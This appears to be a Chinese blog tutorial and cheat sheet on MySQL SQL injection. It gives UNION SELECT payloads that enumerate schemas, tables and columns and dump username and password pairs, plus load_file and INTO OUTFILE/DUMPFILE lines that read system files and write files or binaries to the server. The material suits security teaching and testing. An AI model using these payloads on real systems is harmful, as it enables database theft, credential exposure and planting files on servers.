数据库版本 > Mysql 5.0
※本文不对 Mysql 5.0以下版本再做研究
自带数据库:information_schema
information_schema
:存储mysql下所有信息的数据库(数据库名,表名,列名)
Mysql数据库结构:
符号.
代表下一级的意思
1 |
information_schema.schemata -[存储mysql下所有**数据库**名信息的表] |
information_schema
数据库辅助理解结构图:
常用注入参数及解释:
1 |
database() -数据库名 |
联合查询注入:
※ [ =
号之后的值,用hex编码0x...
或者'XXX'
替换使用都可以]
获取所有库名
1 |
union select group_concat(schema_name) from information_schema.schemata |
获取指定库名->所有表名
1 |
union select group_concat(table_name) from information_schema.tables where table_schema='库名' |
获取指定库名->指定表名->所有列名
1 |
union select group_concat(column_name) from information_schema.columns where table_name='表名' and table_schema='库名' |
获取指定库名->指定表名->指定列名->所有数据内容
1 |
union select group_concat(username,"::",password) from 库名.表名 |
文件读写:
读文件
常见的读文件,可以用16进制代替字符串
1 |
select load_file('c:/boot.ini') |
写文件
常见的写文件,可以用16进制代替字符串
1 |
select 0x... into outfile 'D:/1.txt' |
顺带说一下
dumpfile
与outfile
函数的区别
SELECT into outfile
-导出到一个txt文件,可以导出每行记录的,这个很适合导库
SELECT into dump
-只能导出一行数据
如果想把一个可执行二进制文件用into outfile
函数导出,导出后,文件会被破坏。因为into outfile
函数会在行末端写新行,更致使的是会转义换行符,这样2进制可执行文件就会被破坏
这时,我们能用into dumpfile
导出一个完整能执行的2进制文件,它不对任何列或行进行终止,也不执行任何转义处理
总结:
into outfile
-导出内容
into dumpfile
-导出二进制文件
关于其它的注入方法
本文不在赘述,学习链接推荐:传送门
- source:se7ensec.cn
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论